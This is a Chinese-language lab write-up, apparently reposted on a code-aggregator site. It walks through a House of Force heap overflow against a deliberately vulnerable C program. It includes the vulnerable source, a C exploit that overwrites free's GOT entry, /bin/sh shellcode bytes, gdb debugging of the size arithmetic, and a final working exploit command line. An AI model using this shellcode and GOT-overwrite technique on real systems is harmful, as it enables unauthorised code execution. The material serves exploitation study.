当前位置: 代码迷 >> 综合 >> Pediy-18-10-House of Force
  详细解决方案

Pediy-18-10-House of Force

热度:56   发布时间:2023-12-04 05:58:16.0

Pediy-18-10-houseof系列堆溢出

House of Force

源码:

/*
House of force vulnerable program. 
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h> int main(int argc, char *argv[])
{char *buf1, *buf2, *buf3;if (argc != 4) {printf("Usage Error\n");return;}/* [1] */buf1 = malloc(256);/* [2] */strcpy(buf1, argv[1]); /* Prereq 1 *//* [3] */buf2 = malloc(strtoul(argv[2], NULL, 16)); /* Prereq 2 *//* [4] */buf3 = malloc(256); /* Prereq 3 *//* [5] */strcpy(buf3, argv[3]); /* Prereq 3 *//* [6] */free(buf3);free(buf2);free(buf1);return 0;
}

分析

漏洞程序的行[2]是堆溢出发生的地方。因此为了成功利用堆溢出,攻击者需要提供下面的命令行参数:

  • argv[1] – 需要复制到第一个 malloc 块的 shellcode + 填充 + top 块大小。
  • argv[2] – 第二个 malloc 块的大小参数。
  • argv[3] – 复制到第三个 malloc 块的用户输入。

这里找到free的got地址

1556015152435

在执行完第一个malloc后,记下第一个chunk的地址

利用攻击程序并修改对应的参数:

/* Program to exploit executable 'vuln' using hof technique.*/
#include <stdio.h>
#include <unistd.h>
#include <string.h>#define VULNERABLE "./vuln"
#define FREE_ADDRESS 0x08048360-0x8
#define MALLOC_SIZE "0xFFFFF744"
#define BUF3_USER_INP "\x00\xa0\x04\x08"/* Spawn a shell. Size - 25 bytes. */
char scode[] ="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";int main(  )
{       int i;char * p;char argv1[ 265 ];char * argv[] = { VULNERABLE, argv1, MALLOC_SIZE, BUF3_USER_INP, NULL };strcpy(argv1,scode);for(i=25;i<260;i++)argv1[i] = 'A';strcpy(argv1+260,"\xFF\xFF\xFF\xFF"); /* Top chunk size */argv[264] = ''; /* Terminating NULL character */ /* Execution of the vulnerable program */execve( argv[0], argv, NULL );return( -1 );
}

使用攻击者的参数,下面的事情会发生:

[2]会覆盖 top 块大小:

  • 攻击者的参数(argv[1] – Shellcode + Pad + 0xFFFFFFFF)会复制到堆缓冲区buf1。但是由于argv[1]大于 256,top 块的大小会覆盖为0xFFFFFFFF

[3]使用 top 块代码,分配了一个非常大的块。

  • 非常大的块的分配请求发生在分配之后,新的 top 块应该位于free的 GOT 条目之前 8 个字节处。所以另一个 malloc 请求(行[4])会帮助我们覆盖free的 GOT 地址。

  • 攻击者的参数(

    argv[2] – 0xFFFFF744
    

    )会作为大小参数,传递给第二个 malloc 调用(行

    [3]
    

    )。大小参数使用下面的公式计算:

    • size = ((free-8)-top)

    • 其中

      • free是可执行文件vuln的 GOT 条目,也就是free = 0x08049858
      • top是当前 top 块(在第一个 malloc [1]之后),也就是top = 0x0804a108
    • 因此size = ((0x8049858-0x8)-0x804a108) = -8B8 = 0xFFFFF748

    • size = 0xFFFFF748
      

      时,我们的任务,将新的 top 块放置在

      free
      

      的 GOT 条目之前 8 个字节处,像这样完成了:

      • (0xFFFFF748+0x804a108) = 0x08049850 = (0x08049858-0x8)
    • 但是,当攻击者传递大小参数0xFFFFF748时,glibc malloc 将这个大小转换为可用大小0xFFFFF750。因此,现在新的 top 块大小应该位于0x8049858而不是0x8049850。因此攻击者应该传递0xFFFFF744作为大小参数,而不是0xFFFFF748,因为他会转换为我们所需的可用的大小0xFFFFF748

在行[4]中:

  • 现在由于行[3]中的 top 块指向0x8049850,一个 256 字节的内存分配请求会使 glibc malloc 返回0x8049858,他会复制到buf3

在行[5]中:

buf1的地址复制给buf3,会导致 GOT 覆盖。因此free的调用(行[6])会导致 shellcode 执行。

调试

先输入260个A加0xffffffff来测试第一个strcmp是否能改变topchunk的size

这里为什么一共是264个字节,申请了256个,加上top chunk的prev size一共260个字节,所以下4个 刚好可以淹没top chunk 的size。对于数量的大小,也可以通过直接观看申请到的地址来计算。

1556010051449

1556002532858

这里可以看到在执行完对chunk1的赋值后,由于溢出到top-chunk,top的大小被修改为0xffffffff。

接下来调试第二步,申请一个很大的chunk,来达到修改top chunk地址的目的。

一开始得到free@got = 0x8049810,计算 size = (free-8)-top = 0xfffff700

输入 rpython -c ‘print “A”*260+"\xFF\xff\xff\xff"’0xfffff700 20,可以看到top的地址被修改为free的地址。

r python -c 'print "A"*260+"\xFF\xff\xff\xff"' 0xfffff700 20

1556016011357

但是这里应该修改为free-8的位置,因为glibc将0xfffff700调整为0xfffff708,所以调整我们的输入 0xfffff6fc

1556016160934

看到此时的top地址被修改为free-8了。这是因为 每一个chunk块自带8字节的prev size 与 size字段,所以每次实际分配会先+8,但是32位情况下又要与8对齐,所以0xfffff6fc+8=0xfffff704, 这里看起来不与8对齐,但是实际上当chunk处于used状态时候,可以使用下一个chunk的前4字节,即下一个chunk的prev size字段。所以这里实际上分配的大小就变成了0xfffff700,既对齐了,空间又足够了。

接下来可以看到,当执行完新的free时候,top chunk会free的地址分配给chunk3,此时我们便可以覆盖free地址了。也基本完成了这个实验。

1556016544712

最终成功

附上输入:

r `python -c 'print "\x90\x90\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80\x90\x90\x90\x90"+"A"*230+"\xFF\xff\xff\xff" '` 0xfffff6fc `python -c 'print "\x08\xa0\x04\x08"'`

总结

搞下来还是学到了不少知识,包括chunk的一些分配对齐,gdb中堆的查看调试,gdb中输入多个参数,输入时候python的利用等等,最重要的还是学习了这个House of Force溢出技术。中途一度想放弃,硬着头皮慢慢调试修改终于成功了。在pwn里该系列虽然不难,但是入门起来难度不小。因为adword今天维修所以没有弄。但是做了这个也不是没有做事。

明日计划

1.做adword一道有收获的题。
2.完成pediy-10下半部分 House of Spirit

  相关解决方案